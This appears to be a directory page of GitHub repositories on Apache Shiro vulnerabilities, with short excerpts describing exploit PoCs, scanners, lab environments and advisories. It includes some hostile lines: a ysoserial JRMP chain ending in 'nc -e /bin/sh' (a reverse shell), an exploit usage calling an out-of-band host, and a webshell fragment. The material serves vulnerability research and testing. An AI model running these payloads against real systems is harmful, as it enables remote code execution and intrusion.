CVE-2016-4437

CVE-2016-4437 Python POC to Exploit CVE-2016-4437 Apache Shiro Deserialization Vulnerability Due to Hardcoded Encryption Key Example Usage: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun See comments and the code for more information...

SHIRO-550

Shiro RememberMe 1.2.4 Deserialization Vulnerability SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

Awesome_shiro

Awesome-shiro CVE-2016-4437 Shiro Base64 decode -- AES decrypt -- Deserialize Environment Works on both linux/win10 Works on both python2/python3 Since the module directory contains ysoserial.jar, the project is a bit large. Please bear with us. Local Target Setup docker pull...

ShiroScan

ShiroScan Shiro=1.2.4 deserialization, one-click detection tool 改动内容：1.新增4个利用链模块CommonsCollections7-10，预计增加成功率30%，已打包成新ysoserial的jar包，请勿更换 改动内容：2.增加多线程，虽模块增加但速度却提高300% 集成21个key进行fuzz If it helps, please give a star. Corresponding blog article: http://www.svenbeast.com/post/tskRKJIPg/ pip3 install...

CVE-2021-34045

Information Exploit Title：Novel-plus-install-v3.5.3-Druid Unauthorized access Exploit date：01.06.2021 Exploit Author：Al1ex@Heptagram Vendor Homepage：https://github.com/201206030/novel-plus Affect Version：novel-plus-install-v3.5.3 Description：Novell plus system carries Druid component, and the...

CVE-2020-13933

CVE-2020-13933 Lab Shiro 1.6.0 Authentication Bypass Vulnerability PoC http://127.0.0.1:8080/res/%3bpoc Lab Environment Code Description ShiroConfig.java: Permission configuration: when requesting /res/ resources, it returns a 302 redirect to the login page for authentication. NameController.java...

SHIRO-721

SHIRO-721 RememberMe Padding Oracle Vulnerability RCE 0x00 Introduction: The RememberMe cookie is encrypted using AES-128-CBC mode, which is vulnerable to padding oracle attacks. An attacker can use a valid RememberMe cookie as a prefix for a Padding Oracle Attack, and then craft a malicious...

EUVD-2026-126005

When authentication caching is enabled on DefaultLdapRealm, after a user logs in successfully once, subsequent logins for that user succeed with any password. A cached authentication skips the LDAP bind, and the AllowAllCredentialsMatcher installed by default in DefaultLdapRealm accepts any...

CVE-2026-129349 Apache Shiro: DefaultLdapRealm accepts any password when authentication caching is enabled

When authentication caching is enabled on DefaultLdapRealm, after a user logs in successfully once, subsequent logins for that user succeed with any password. A cached authentication skips the LDAP bind, and the AllowAllCredentialsMatcher installed by default in DefaultLdapRealm accepts any...

CVE-2026-129349

Apache Shiro versions through 3.0.0 are vulnerable to an authentication bypass when using DefaultLdapRealm (or JndiLdapRealm ) with authenticationCachingEnabled set to true. The root cause is the default installation of AllowAllCredentialsMatcher , which accepts any credentials for a user who has...

WebLogic-Shiro-shell

Java Deserialization Technology Sharing This sharing covers the following points: 1. Java Serialization and Deserialization Basics 2. Why do vulnerabilities occur during deserialization? 3. Java Reflection 4. ysoserial CommonsCollections2, CommonsCollections5 5. Java ClassLoader: Several methods...

shiro-CVE-2020-11989

This repository does not have a README...

CVE-2024-4956

CVE-2024-4956 This repository contains a Python utility for automating the exploitation of CVE-2024-4956 and is capable of mass testing file paths from an input file while automating the process of saving existing file path contents to disk for analysis. Details for the vulnerability can be found...

shiro

CVE-2026-49268 — Analysis and Remediation of an LDAP Injection Authentication Bypass Vulnerability | ---|--- Branch| 1.13-CVE-2026-49268 Author| Jinwoo Hwang https://JinwooHwang.com This branch 1.13-CVE-2026-49268 contains a comprehensive security remediation of an LDAP Injection Authentication...

RuoYI-4.2-Shiro-721-Docker-PoC

RuoYI 4.2 Shiro 1.4.1 Shiro-721 Vulnerability Reproduction Environment Used to reproduce the Shiro-721 vulnerability CVE-2019-12422 on RuoYI. Note: This service contains critical vulnerabilities and is intended only for vulnerability reproduction purposes. Do not use in production environments...

shiro-cve-2020-17523

Apache Shiro Two Postures Authentication Bypass Analysis CVE-2020-17523 0x01 Vulnerability Description Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro's easy-to-understand API, you can...

ActiveMQ-RCE-Exploit

ActiveMQ-Exploit English | Simplified Chinese CVE-2023-46604 ActiveMQ RCE 5.18.3 Exploit No outbound network exploit Supports JDK 1.8 runtime; automatically checks if target version is within the vulnerability scope Supports exploiting no-outbound targets using Shiro INI configuration to achieve...

Shiro_Xray

ShiroXray Gadget CommonsBeanutils1 CommonsCollectionsK1 CommonsCollectionsK2 Getshell with Ice Scorpion import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.PrintWriter; import java.net.URLDecoder; import sun.misc.BASE64Decoder; public class 10837093162496 exten...

shisoserial

shisoserial What is this A simple tool targeted at shiro framework attacks with ysoserial. Contributor 4nth0ny @Fridaylab Runtime python 3.x JDK 1.8 Installation python3 -m pip install -r requirements.txt for AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODEGCM' or No module named...

CVE-2022-32532

CVE-2022-32532 about This is a demo project, which only shows one of the conditions for exploiting this vulnerability CVE-2022-32532. In fact, there are more ways to exploit it, as long as developers use RegExPatternMatcher, there will be a possible bypass vulnerability. introduce Token request...